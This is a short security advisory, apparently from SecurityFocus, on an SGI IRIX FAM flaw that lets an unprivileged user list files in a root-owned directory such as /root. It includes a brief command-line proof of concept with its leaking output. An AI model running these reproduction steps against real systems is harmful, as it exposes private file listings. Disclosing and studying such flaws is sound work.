SGI IRIX 6.5.x FAM Arbitrary Root Owned Directory File Listing Vulnerability
source: http://www.securityfocus.com/bid/5487/info
fam is a freely available, open source file alteration monitor. It is maintained and distributed by SGI, and will work on the Linux and Unix operating systems.
It is possible for a user to execute fam to discover a list of monitored files. This list, while it may have been created by a user of elevated privileges, could leak information to an attacker that may be sensitive. This vulnerability requires only that the directory being 'fammed' already have had the program executed against it by a privileged user.
# ls -ld /root
drwxr-x--- ... root root ... /root
# fam
% groups | grep root
ERRONEOUS BEHAVIOR
% ./test -d /root
FAMMonitorDirectory("/root")
FAMMonitorDirectory("/root")
DIR /root: /root Exists
DIR /root: .gnome Exists
DIR /root: Desktop Exists
...
CORRECT BEHAVIOR
% ./test -d /root
FAMMonitorDirectory("/root")
FAMMonitorDirectory("/root")
DIR /root: /root Exists
DIR /root: /root EndExist
